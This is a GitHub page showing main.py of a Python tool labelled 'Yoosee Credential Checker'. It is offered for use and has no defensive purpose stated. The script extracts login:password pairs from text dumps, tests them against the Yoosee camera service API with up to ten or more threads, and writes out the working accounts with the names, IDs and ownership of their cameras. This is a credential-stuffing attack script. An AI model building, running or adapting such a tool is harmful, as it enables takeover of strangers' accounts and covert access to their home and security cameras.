-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.py
More file actions
221 lines (176 loc) · 7 KB
/
main.py
File metadata and controls
221 lines (176 loc) · 7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
import os
import sys
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
from parser import process_folder
from Client.yoosee import YooseeClient
__dir__ = Path(__file__).parent
R = "\033[0m"
B = "\033[1m"
W = "\033[97m"
GR = "\033[90m"
CY = "\033[96m"
GN = "\033[92m"
RD = "\033[91m"
YL = "\033[93m"
MG = "\033[95m"
BL = "\033[94m"
BANNER = f"""
{CY}{B}
██╗ ██╗ ██████╗ ██████╗ ███████╗███████╗███████╗
╚██╗ ██╔╝██╔═══██╗██╔═══██╗██╔════╝██╔════╝██╔════╝
╚████╔╝ ██║ ██║██║ ██║███████╗█████╗ █████╗
╚██╔╝ ██║ ██║██║ ██║╚════██║██╔══╝ ██╔══╝
██║ ╚██████╔╝╚██████╔╝███████║███████╗███████╗
╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝
{R}{GR} Yoosee Credential Checker{R}
"""
USAGE = f"""
{B}Usage:{R}
{CY}python main.py scan{R} {GR}- extract credentials from .txt files{R}
{CY}python main.py check{R} {GR}- check credentials against API (10 threads){R}
{CY}python main.py check --threads N{R} {GR}- check with N threads{R}
{CY}python main.py all{R} {GR}- scan + check{R}
"""
FOUNDS_DIR = Path(__dir__ / "output" / "founds")
FILE_VALIDS = FOUNDS_DIR / "yoosee_valids.txt"
FILE_VALID_ONLY = FOUNDS_DIR / "yoosee_valid_only.txt"
FILE_WITH_CAMS = FOUNDS_DIR / "yoosee_with_cameras.txt"
def _sep(char="─", width=60, color=GR):
print(f"{color}{char * width}{R}")
def _label(key, value, key_color=GR, val_color=W):
print(f" {key_color}{key:<12}{R}{val_color}{value}{R}")
def _write(path: Path, lines: list[str]):
with open(path, "a", encoding="utf-8") as f:
f.write("\n".join(lines) + "\n")
def _check_one(credential: str) -> dict | None:
parts = credential.strip().split(":", 1)
if len(parts) < 2:
return None
lgn, password = parts[0].strip(), parts[1].strip()
if not lgn or not password:
return None
return YooseeClient(lgn, password).check()
def _process_result(result: dict | None, out_valid: Path, out_cams: Path):
if result is None:
return False, False
lgn = result["lgn"]
password = result["password"]
devices = result["devices"]
device_count = result["device_count"]
access_id = result["access_id"]
has_cameras = device_count > 0
if has_cameras:
print(f"\n {GN}{B}[OK]{R} {CY}{B}{lgn}{R}:{YL}{password}{R} "
f"{GR}│{R} {MG}{B}{device_count} cam(s){R}")
for d in devices:
name = d.get("remarkName", "N/A")
dev_id = d.get("devId", "?")
rel = f"{GN}owner{R}" if d.get("relation") == 1 else f"{BL}shared{R}"
print(f" {GR}>{R} {W}{name:<20}{R} {GR}ID:{R} {YL}{dev_id}{R} {rel}")
lines = [
f"LOGIN : {lgn}",
f"PASSWORD : {password}",
f"ACCESS_ID: {access_id}",
f"DEVICES : {device_count}",
]
for d in devices:
name = d.get("remarkName", "N/A")
dev_id = d.get("devId", "?")
cate = d.get("deviceCate", "?")
rel = "owner" if d.get("relation") == 1 else "shared"
lines.append(f" - {name} | ID: {dev_id} | type: {cate} | {rel}")
lines.append("─" * 60)
_write(out_cams, lines)
else:
#print(f" {YL}~{R} {W}{lgn}{R}:{GR}{password}{R} "
# f"{GR}│ no cameras{R}")
lines = [
f"{lgn}:{password}",
]
_write(out_valid, lines)
return True, has_cameras
def cmd_scan():
FOUNDS_DIR.mkdir(parents=True, exist_ok=True)
input_folder = Path(__dir__ / "lists")
print(BANNER)
_sep("-")
print(f" {CY}{B}SCAN MODE{R}")
_sep("-")
_label("Input :", str(input_folder))
_label("Output:", str(FILE_VALIDS))
_sep()
if not input_folder.is_dir():
print(f"\n {RD}[X] Folder not found:{R} {input_folder}\n")
sys.exit(1)
total = process_folder(input_folder, FILE_VALIDS)
_sep()
print(f"\n {GN}{B}Done!{R} {W}{total}{R} {GR}credentials extracted{R}\n")
def cmd_check(threads: int = 10):
FOUNDS_DIR.mkdir(parents=True, exist_ok=True)
if not FILE_VALIDS.exists():
print(f"\n {RD}[X] File not found:{R} {FILE_VALIDS}")
print(f" {GR}Run first:{R} {CY}python main.py scan{R}\n")
sys.exit(1)
credentials = [
line.strip()
for line in FILE_VALIDS.read_text(encoding="utf-8", errors="ignore").splitlines()
if line.strip() and ":" in line
]
total = len(credentials)
print(BANNER)
_sep("-")
print(f" {CY}{B}CHECK MODE{R}")
_sep("-")
_label("Threads:", str(threads))
_label("Total :", str(total))
_label("- Valid :", str(FILE_VALID_ONLY))
_label("- Cams :", str(FILE_WITH_CAMS))
_sep()
print()
FILE_VALID_ONLY.write_text("", encoding="utf-8")
FILE_WITH_CAMS.write_text("", encoding="utf-8")
valid_total = 0
cams_total = 0
with ThreadPoolExecutor(max_workers=threads) as pool:
futures = {pool.submit(_check_one, cred): cred for cred in credentials}
for future in as_completed(futures):
ok, has_cams = _process_result(future.result(), FILE_VALID_ONLY, FILE_WITH_CAMS)
if ok:
valid_total += 1
if has_cams:
cams_total += 1
print()
_sep("-")
print(f" {GN}{B}Done!{R}")
print(f" {GR}Checked :{R} {W}{total}{R}")
print(f" {YL}Valid only :{R} {W}{valid_total - cams_total}{R} {GR}(no cameras){R}")
print(f" {GN}With cams :{R} {W}{cams_total}{R} {GR}(1+ cameras){R}")
_sep("-")
print()
def cmd_scan_and_check(threads: int = 10):
cmd_scan()
cmd_check(threads=threads)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(BANNER)
print(USAGE)
sys.exit(1)
cmd = sys.argv[1].lower()
threads = 10
if "--threads" in sys.argv:
idx = sys.argv.index("--threads")
try:
threads = int(sys.argv[idx + 1])
except (IndexError, ValueError):
pass
if cmd == "scan":
cmd_scan()
elif cmd == "check":
cmd_check(threads=threads)
elif cmd == "all":
cmd_scan_and_check(threads=threads)
else:
print(f"\n {RD}✗ Unknown command:{R} {cmd}")
print(USAGE)
sys.exit(1)